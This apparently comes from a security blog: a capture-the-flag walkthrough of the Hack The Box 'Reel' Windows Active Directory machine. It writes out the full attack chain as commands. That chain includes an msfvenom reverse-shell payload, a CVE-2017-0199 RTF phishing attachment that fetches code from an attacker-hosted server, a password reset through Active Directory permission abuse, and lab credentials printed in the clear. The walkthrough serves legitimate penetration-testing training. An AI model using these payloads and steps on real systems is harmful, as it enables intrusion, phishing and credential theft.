Reel is a windows Active Directory machine and is considered as a hard box in HTB. This box stands out for its uniqueness, featuring a phishing scenario that is rarely found in other boxes. Starting with the enumeration of FTP service, some files are found which reveal the email address of a user. After that a phishing email is send, such that once the attachment is clicked the initial access is obtained. After initial access the privilege escalation part is through abusing the rights in the Active Directory infrastructure.
Starting the enumeration with port and service scan:
nmap -sV -sC 10.129.228.124
As the default script scan suggests, there is Anonymous FTP login allowed at port 21. So, login as Anonymous :: Anonymous into FTP. After login it can be seen that there is a Documents directory which consists of 3 files namely AppLocker.docx, readme.txt and Windows Event Forwarding.docx. More information can be obtained after downloading these files locally.
ftp 10.129.228.124 cd documents ls get AppLocker.docx get readme.txt get "Windows Event Forwarding.docx"
Now, reading the contents of readme.txt file.
cat readme.txt
As shown above the readme.txt file contains a communication related to rtf format procedures. It seems like the document asks to email the particular format file. File “Windows Event Forwarding.docx” is a document file and in most cases, it contains the creator name which can be later used as a legitimate username to login/email.
To check for the Creator name the exiftool can be used here with the following command:
exiftool "Windows Event Forwarding.docx"
The Creator name seen is [email protected]. If we remember, the readme.txt file mentioned about emailing a rtf file to the email address. We can try emailing a malicious rtf file as an attachment, such that if the user process it we should be able to get the reverse shell.
First, we can check if we are able to send some email to the obtained mail id or not. To do so we are using telnet to communicate and get an acknowledgement of the receipt of email.
telnet 10.129.228.124 25
After the target email is confirmed, it is time to create the .rtf file to send to the victim. RTF files are highly versatile and are supported by a wide range of word processing software, which enhances their popularity for sharing documents across different platforms and applications. These files, essentially plain text documents, can be accessed and modified using numerous word processors, including Microsoft Word, Google Docs, and LibreOffice.
There is a toolkit script which can be used here to create a .rtf file. The script can be downloaded from here (https://github.com/bhdresh/CVE-2017-0199.git).
As per the exploit usage the script requires a .hta file or .doc to be hosted at a server so that the exploit can use the .hta file to generate a .rtf file.
To create a .hta file, msfvenom can be used with the following command:
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.117 lport=443 -f hta-psh -o file.hta
After creating the file.hta file, a server can be started locally at port 80 to host the file.
updog -p 80
Now the exploit can be used with the following command to generate the .rtf file:
python2 cve-2017-0199_toolkit.py -M gen -w raj.rtf -u http://10.10.14.117/file.hta -t RTF -x 0
The sendEmail tool can be used inside kali linux to send an email to the target mail id i.e., [email protected] and the file raj.rtf can be used as an attachment.
Before sending this email we need to start the netcat listener at port 443 as mentioned in our msfvenom payload.
nc -lvp 443 sendEmail -f [email protected] -t [email protected] -u "Urgent Mail" -m "Join Ignite Technologies" -a raj.rtf -s 10.129.228.124 -v
Once the email is sent and the victim clicks on the attachment, we receive a reverse shell connection at port 443. After the reverse shell is obtained, the user.txt flag can be found on the desktop of the nico user.
After the initial access as nico user, there is a a cred.xml file placed at the user’s desktop. Upon reading the contents of the cred.xml file it can be seen that there is a username HTB\Tom and a password which is in serialized format. To generate the deserialized password a cmdlet can be used which is inbuilt in powershell i.e., Import-Clixml. The following command can be used to deserialize the cred.xml file content:
powershell -c "$cred = Import-Clixml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"
The deserialized password obtained is 1ts-mag1c!!!.
After the password of Tom user is obtained now, we can use ssh to login as Tom user.
ssh [email protected]
After login as tom user, an AD Audit folder is found on the Desktop which contains a directory by the name Bloodhound and a text file note.txt. Upon reading the contents of the file note.txt, there is a note mentioned about findings which states that there are no AD attack paths from user to Domain Admin, and the audit should be performed again.
The Ingestors directory inside the Bloodhound folder seems to contain the old audit findings, hence it is better to run the bloodhound again inside the target system to capture the results.
Hence, downloading the SharpHound.ps1 script form the following link: https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
To transfer the SharpHound.ps1 file from kali to target windows machine we will be using impacket-smbserver script.
impacket-smbserver share $(pwd) -smb2support
Inside the initial shell taken on target machine, run the following command to fetch the file:
copy \\10.10.14.117\share\SharpHound.ps1
After the file is copied, now running the SharpHound.ps1 module.
Import-Module .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All
After the bloodhound is run, the results can be seen in the 20230102182633_BloodHound.zip file.
Hence copying the zip file in the kali machine using smb service by the following command:
copy 20230102182633_BloodHound.zip \\10.10.14.117\share\
To analyse the results visually, we will be running the Bloodhound tool. But first we will start the neo4j server by the command:
neo4j console
After the neo4j service is started, we can initiate the Bloodhound tool.
bloodhound
Login into neo4j database using the valid credentials and upload the zip file created by the SharHound.ps1 script.
After the uploading the zip file and analysing the results, it was observed that the user tom has First Degree Object Control rights with the user claire, stating that the user tom has WriteOwner permissions on the user claire. And going forward it can also be seen that the user claire has WriteDACL permissions on the Backup_Admins group. Now using PowerView.ps1 and abusing the WriteOwner permissions, user tom can become the owner of claire’s ACL, get permissions on the ACL and use those permissions to reset the password.
copy \\10.10.14.117\share\PowerView.ps1 Import-Module .\PowerView.ps1 Set-DomainObjectOwner -idenity claire -OwnerIdentity tom Add-DomainObjectAcl -TargetIdenity claire -PrincipalIdentity tom -Rights ResetPassword $SecPassword = ConvertTo-SecureString 'Password@1 ' -AsPlainText -Force Set-DomainUserPassword -identity claire -accountpassword $SecPassword
Once the password of claire is reset we can login using ssh:
ssh [email protected]
And because of the WriteDACL permissions of claire on Backup_Admins group, now we can add claire as a member of the Backup_Admins group.
net group "Backup_Admins " claire /add /domain
However, we are still unable to read the root.txt flag placed at the desktop of the Administrator user. There is a Backup Scripts directory on the Administrator desktop which consists of some scripts.
Upon checking of any of the scripts contain the password word as a string, the admin password was retrieved as Cr4ckMeIfYouC4n! in the BackupScript.ps1 script.
type * | findstr password
After the administrator password is retrieved, now we can login as administrator using ssh and obtain the root.txt flag.
ssh [email protected]
Author: Vinayak Chauhan is an InfoSec researcher and Security Consultant. Contact here